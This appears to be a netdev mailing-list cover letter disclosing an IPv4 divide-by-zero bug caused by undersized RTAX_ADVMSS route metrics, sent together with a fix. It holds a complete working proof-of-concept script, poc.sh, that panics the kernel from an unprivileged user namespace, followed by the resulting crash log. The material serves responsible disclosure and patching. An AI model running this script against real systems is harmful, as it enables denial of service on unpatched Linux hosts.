From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-pf1-f180.google.com (mail-pf1-f180.google.com [209.85.210.180]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 78F754968E2 for ; Thu, 13 Aug 2026 17:05:35 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.210.180 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1786640737; cv=none; b=OG5BqVwgvKJvt1NgrCRH9HWqKbYQIC2wtesEBo50nfHoPjjIW/VXPqadN7G9irROcxqWhVStTArn86m9nA8CTsVpMW4u1yryXnUytHAC3wKdotVvFEOiYzF60tol8cBCGQ8kjREXsjCdOt26zIRMp2TEjNzweI4klM45zpvqM8A= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1786640737; c=relaxed/simple; bh=oilhTLxQ1L8UFagn5v5rZrKcl7HnVCDn/K6RucDIokg=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=DlAcfXWFDHTeSPiEtxqiKyXUgZB9+G+jLHVIYF86+fddTYgP0NeWd4BhA1P5KZwUGg9benc+UeuC4WPF6587noRzQFBxiQ7gPQw7LXbqc0vQfR7GxjBfRtVZ4rT94jK/d8lNFWH8Ll0psT2b4qEkogVKwePiSfudwKm8/8zjJNQ= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai; spf=pass smtp.mailfrom=nebusec.ai; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b=BkiBgruc; arc=none smtp.client-ip=209.85.210.180 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b="BkiBgruc" Received: by mail-pf1-f180.google.com with SMTP id d2e1a72fcca58-84e0688b7e8so872723b3a.1 for ; Thu, 13 Aug 2026 10:05:35 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nebusec.ai; s=google; t=1786640735; x=1787245535; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:from:to:cc:subject:date:message-id:reply-to:content-type; bh=y4kwHVpCqv1Bbu1Z3Jxh+VjP83xH3akTdUiTdPzTR4M=; b=BkiBgruc8Vea3OnK0q3PCrn0lUI9++XkgS2xMHNvTLor7ipj8Q1SUdzef0d6q7l78a EXq02DMZvRCdieRti6wPriPdW3Oowa359sxpEsovUbMF4792Wm1DpO1XrpJ8qYp63Vd6 IlQmYsVWhJRZrffxdgY6FaACE2NaAonzM+FXM4I0/TII6qEyovNkrdIKQ9TzrwStoHE1 W7y6717dcIQuipOJVLyu9XXLrSmeNvqNnNdEyQbpgPcp8y72BzQ7wyHFL+IJrcc1aZ7d qdDGl2sh/b82X31BdpTJHfhr/Bmlz0f575wMXx/GBavdjCI58SOvSw96oy/LYJm1cZ96 CtrQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1786640735; x=1787245535; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=y4kwHVpCqv1Bbu1Z3Jxh+VjP83xH3akTdUiTdPzTR4M=; b=rjT0kzmG3OEVSald8GNsb5HGT+xr1KFzk3pIWF/FH5UCZd2rFHqs/tnQeMTOQ8yBkd q8QUThDFK+LF8UFkNdXEwN/eU32RBacak/NqdDGmm5ArWHZr1J85BMirt3pd554LUsfj /MTeT+jXrildeojqryjFr+flMjr+HzkkgLfbNrBL1hHzutqfgiATFY6E1l5kz9McviHN kh5sTHq3V728EMQ1iG6+Nx/k7qkzcFbrEA8o/F4WvNZ8N9MByCB9AEmF9MRlR209pi5o XMwMnJzSIljMCx7ksPRhOJdEOn3lgX5Ayjf5rprv0M8js+i+kXZFeZul0YfCAUxRdl0p DlZQ== X-Gm-Message-State: AOJu0YyfIdH7vNFI86AAtBFBJzWvlOp/YnE0YhiP9GHlJSbiLsAdjw5J +pykmMv/dTkbprZxet6aznKIq9kj0YhQsdvcvQWfd3sd80AGQnRXupm6S5ZYHK93djGF6NP2Ezc 6dydJvuVU X-Gm-Gg: AR+sD10R8Q1PCxhOtFN8uBm51pWgzzCbkuhN6F8caeg9rvV72Q4PPmDmdgGc/iiuJu8 PKrucYQ7V0XnMCkVM240sFAk3vKVDw9D5DnmPjWCqqXGnZmiTKWKGOijvN0daTtIr3+xZ2dF2VF kyN+g7FX5QoVgegGwgbcwFSMLDWoPgu3KPKuHhJzUz3JRVxuUbgmPxeMrz7XyV3kR4Ulq+nPzO4 nVvVUmA6BwWFQ676LwHKg8/p97b4gjX1aFxmIsmNoNX66F8dFxnbaVm/i8J/oIZBWkSXlfKnaf3 RMSGxkovCbe+SoUS28QmwKBJAaGSABDOHOJbeJePNYsUFbd5UtggHgW9a9BdhDk1tDCU5G/yqT8 ZPNFjMBmh33LY22t9f4+iEUCuHkqSxPHlezddkE6N1itutuaMi/v2PzNrj+N+pvlIDx+Lnjmft/ 8a1fF3Tz4VqXwF/HxRwIb/972V9FUJEAO18HBtQpogUavHxTqn26rQWwACpL1RLYPk3s0E1mKn+ KZBGh7g9Q== X-Received: by 2002:a05:6a00:f8b:b0:842:706e:ad43 with SMTP id d2e1a72fcca58-84fc74991e8mr8434847b3a.33.1786640734393; Thu, 13 Aug 2026 10:05:34 -0700 (PDT) Received: from enjou-Legion-Y7000P-2019 ([165.232.167.5]) by smtp.gmail.com with ESMTPSA id d2e1a72fcca58-84fc5aa75c7sm1239379b3a.61.2026.08.13.10.05.26 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Thu, 13 Aug 2026 10:05:33 -0700 (PDT) From: Ren Wei To: netdev@vger.kernel.org Cc: dsahern@kernel.org, idosch@nvidia.com, davem@davemloft.net, edumazet@google.com, kuba@kernel.org, pabeni@redhat.com, horms@kernel.org, vega@nebusec.ai, edragain@163.com, weir@nebusec.ai Subject: [PATCH net RESEND 0/1] ipv4: fix divide-by-zero from undersized RTAX_ADVMSS Date: Fri, 14 Aug 2026 01:05:33 +0800 Message-ID: X-Mailer: git-send-email 2.51.0 Precedence: bulk X-Mailing-List: netdev@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit From: Yong Wang Hi Linux kernel maintainers, We found and validated a divide-by-zero bug in the IPv4 route metrics handling. The bug is reachable by an unprivileged user with CAP_NET_ADMIN in a user-created network namespace. The attached patch fixes the bug by rejecting non-zero RTAX_ADVMSS values smaller than TCP_MIN_MSS at the route metric input point. ---- details below ---- Bug details: ip_metrics_convert() only caps RTAX_ADVMSS at the upper bound and still accepts undersized non-zero values from userspace. With a route installed using "advmss 12", a passive TCP open can later reach tcp_openreq_init_rwin(). If SYN timestamps are enabled, tcp_openreq_init_rwin() subtracts TCPOLEN_TSTAMP_ALIGNED from the route advmss before calling tcp_select_initial_window(). This reduces the effective MSS to zero and triggers a divide-by-zero in the rounddown(space, mss) path. The fix rejects non-zero RTAX_ADVMSS values smaller than TCP_MIN_MSS while keeping the existing "0 means use default advmss" behavior intact. Reproducer: The reproducer script requires python3 environment chmod +x ./poc.sh ./poc.sh We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.sh------ #!/bin/sh set -eu PATH=/usr/sbin:/sbin:/usr/bin:/bin export PATH PORT="${1:-12345}" export PORT unshare -Urn sh -eu <<'INNER' cleanup() { [ -n "${SERVER_PID:-}" ] && kill "$SERVER_PID" 2>/dev/null || true [ -n "${CLI_HOLDER_PID:-}" ] && kill "$CLI_HOLDER_PID" 2>/dev/null || true } trap cleanup EXIT INT TERM rm -f /tmp/ip_metrics_div0_cli.pid /tmp/ip_metrics_div0_srv.log sysctl -w net.ipv4.tcp_timestamps=1 >/dev/null unshare -n sh -c 'echo $$ > /tmp/ip_metrics_div0_cli.pid; exec sleep 1000' & CLI_HOLDER_PID=$! i=0 while [ ! -s /tmp/ip_metrics_div0_cli.pid ]; do i=$((i + 1)) [ "$i" -lt 50 ] || { echo "client namespace did not start" >&2 exit 1 } sleep 0.1 done CLIPID=$(cat /tmp/ip_metrics_div0_cli.pid) ip link add veth-srv type veth peer name veth-cli ip link set veth-cli netns "$CLIPID" ip link set lo up ip addr add 10.0.0.1/24 dev veth-srv ip link set veth-srv up nsenter -t "$CLIPID" -n sysctl -w net.ipv4.tcp_timestamps=1 >/dev/null nsenter -t "$CLIPID" -n ip link set lo up nsenter -t "$CLIPID" -n ip addr add 10.0.0.2/24 dev veth-cli nsenter -t "$CLIPID" -n ip link set veth-cli up ip route add 10.0.0.2/32 dev veth-srv advmss 12 ip route get 10.0.0.2 python3 -c 'import os, socket, time port = int(os.environ["PORT"]) s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("10.0.0.1", port)) s.listen(128) print("listening", flush=True) time.sleep(600)' >/tmp/ip_metrics_div0_srv.log 2>&1 & SERVER_PID=$! sleep 1 cat /tmp/ip_metrics_div0_srv.log nsenter -t "$CLIPID" -n python3 -c 'import os, socket port = int(os.environ["PORT"]) s = socket.socket() s.settimeout(5) s.connect(("10.0.0.1", port))' INNER ------END poc.sh-------- ----BEGIN crash log---- [ 175.082064] Oops: divide error: 0000 [#1] SMP NOPTI [ 175.082793] CPU: 3 UID: 1028 PID: 1018 Comm: python3 Not tainted 6.12.95 #1 [ 175.083689] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 175.085138] RIP: 0010:tcp_select_initial_window+0x43/0xe0 [ 175.085867] Code: 89 d3 55 85 ff 48 89 cd 89 c1 b8 00 c0 ff 3f 53 48 8b 5c 24 20 0f 44 f8 44 8b 64 24 28 39 cf 0f 46 cf 39 ca 73 09 89 c8 31 d2 <41> f7 f3 29 d1 49 8b 42 30 0f b6 90 f9 04 00 00 b8 ff 7f 00 00 39 [ 175.088227] RSP: 0018:ffffc90000170a78 EFLAGS: 00010246 [ 175.088927] RAX: 0000000000010000 RBX: ffffc90000170aaf RCX: 0000000000010000 [ 175.089839] RDX: 0000000000000000 RSI: 0000000000010000 RDI: 000000003fffc000 [ 175.090751] RBP: ffff8881030de854 R08: ffff8881030de85c R09: 0000000000000001 [ 175.091671] R10: ffff8881033aa840 R11: 0000000000000000 R12: 0000000000000000 [ 175.092594] R13: ffff888104a00dc0 R14: 0000000000010000 R15: 000000000000000c [ 175.093522] FS: 00007b2b60bf7780(0000) GS:ffff88813bd80000(0000) knlGS:0000000000000000 [ 175.094563] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 175.095301] CR2: 00007b2b60d237c0 CR3: 00000001132a2002 CR4: 0000000000770ef0 [ 175.096200] PKRU: 55555554 [ 175.096570] Call Trace: [ 175.096898] [ 175.097170] tcp_openreq_init_rwin+0x131/0x230 [ 175.097768] tcp_conn_request+0x4fa/0xd40 [ 175.098304] ? tcp_rcv_state_process+0x631/0xf40 [ 175.098900] tcp_rcv_state_process+0x631/0xf40 [ 175.099425] ? srso_alias_return_thunk+0x5/0xfbef5 [ 175.099974] ? srso_alias_return_thunk+0x5/0xfbef5 [ 175.100497] ? security_sock_rcv_skb+0x80/0xf0 [ 175.100990] ? srso_alias_return_thunk+0x5/0xfbef5 [ 175.101525] ? sk_filter_trim_cap+0x53/0x280 [ 175.102000] tcp_v4_do_rcv+0xe0/0x2a0 [ 175.102413] tcp_v4_rcv+0x139a/0x13d0 [ 175.102818] ? srso_alias_return_thunk+0x5/0xfbef5 [ 175.103342] ip_protocol_deliver_rcu+0x3b/0x1b0 [ 175.103837] ip_local_deliver_finish+0x79/0xa0 [ 175.104328] __netif_receive_skb_one_core+0x89/0xa0 [ 175.104858] process_backlog+0x99/0x1b0 [ 175.105290] __napi_poll+0x28/0x1b0 [ 175.105677] net_rx_action+0x197/0x370 [ 175.106088] handle_softirqs+0xe6/0x300 [ 175.106519] do_softirq.part.0+0x3b/0x60 [ 175.106945] [ 175.107183] [ 175.107441] __local_bh_enable_ip+0x4f/0x60 [ 175.107895] __neigh_event_send+0xb9/0x390 [ 175.108363] neigh_resolve_output+0x12f/0x1b0 [ 175.108845] ip_finish_output2+0x185/0x540 [ 175.109301] ip_output+0x5d/0xe0 [ 175.109670] ? __pfx_ip_finish_output+0x10/0x10 [ 175.110170] __ip_queue_xmit+0x16c/0x470 [ 175.110607] __tcp_transmit_skb+0xb6e/0xcc0 [ 175.111098] ? srso_alias_return_thunk+0x5/0xfbef5 [ 175.111635] tcp_connect+0xabd/0xec0 [ 175.112039] tcp_v4_connect+0x45d/0x520 [ 175.112465] __inet_stream_connect+0xa3/0x3f0 [ 175.112953] inet_stream_connect+0x3a/0x60 [ 175.113402] __sys_connect+0xb0/0xc0 [ 175.113811] __x64_sys_connect+0x18/0x20 [ 175.114254] do_syscall_64+0x58/0x120 [ 175.114677] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 175.115231] RIP: 0033:0x7b2b60c8b687 [ 175.115633] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff [ 175.117414] RSP: 002b:00007ffe84306f90 EFLAGS: 00000202 ORIG_RAX: 000000000000002a [ 175.117895] RAX: ffffffffffffffda RBX: 00007b2b60bf7780 RCX: 00007b2b60c8b687 [ 175.118357] RDX: 0000000000000010 RSI: 00007ffe84307030 RDI: 0000000000000003 [ 175.118819] RBP: 00007ffe84307030 R08: 0000000000000000 R09: 0000000000000000 [ 175.119274] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000a83590 [ 175.119725] R13: 0000000000000001 R14: 0000000000000010 R15: 00007b2b60f33080 [ 175.120192] [ 175.120354] Modules linked in: [ 175.120593] ---[ end trace 0000000000000000 ]--- [ 175.120905] RIP: 0010:tcp_select_initial_window+0x43/0xe0 [ 175.121252] Code: 89 d3 55 85 ff 48 89 cd 89 c1 b8 00 c0 ff 3f 53 48 8b 5c 24 20 0f 44 f8 44 8b 64 24 28 39 cf 0f 46 cf 39 ca 73 09 89 c8 31 d2 <41> f7 f3 29 d1 49 8b 42 30 0f b6 90 f9 04 00 00 b8 ff 7f 00 00 39 [ 175.122449] RSP: 0018:ffffc90000170a78 EFLAGS: 00010246 [ 175.122805] RAX: 0000000000010000 RBX: ffffc90000170aaf RCX: 0000000000010000 [ 175.123273] RDX: 0000000000000000 RSI: 0000000000010000 RDI: 000000003fffc000 [ 175.123730] RBP: ffff8881030de854 R08: ffff8881030de85c R09: 0000000000000001 [ 175.124208] R10: ffff8881033aa840 R11: 0000000000000000 R12: 0000000000000000 [ 175.124679] R13: ffff888104a00dc0 R14: 0000000000010000 R15: 000000000000000c [ 175.125154] FS: 00007b2b60bf7780(0000) GS:ffff88813bd80000(0000) knlGS:0000000000000000 [ 175.125679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 175.126063] CR2: 00007b2b60d237c0 CR3: 00000001132a2002 CR4: 0000000000770ef0 [ 175.126578] PKRU: 55555554 [ 175.126778] Kernel panic - not syncing: Fatal exception in interrupt [ 175.127317] Kernel Offset: disabled -----END crash log----- Best regards, Yong Wang Yong Wang (1): ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS net/ipv4/metrics.c | 6 ++++++ 1 file changed, 6 insertions(+) -- 2.53.0